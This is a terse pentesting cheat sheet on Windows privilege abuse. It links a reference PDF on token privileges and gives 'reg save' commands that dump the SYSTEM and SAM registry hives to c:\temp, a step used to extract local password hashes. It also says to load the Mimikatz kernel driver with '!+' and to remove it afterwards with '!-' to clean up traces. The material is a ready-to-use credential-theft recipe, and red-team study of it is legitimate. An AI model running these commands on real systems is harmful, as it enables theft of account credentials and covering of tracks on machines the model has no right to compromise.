Privilege abuse

Ressource

https://github.com/decoder-it/whoami-priv/raw/master/whoamipriv.pdf

SeBackupPrivilege

reg save HKLM\SYSTEM c:\temp\system.hive
reg save HKLM\SAM c:\temp\sam.hive

SeLoadDriverPrivilege

You can load the mimidrv using !+ in Mimikatz. Remember to clean after yourself !-.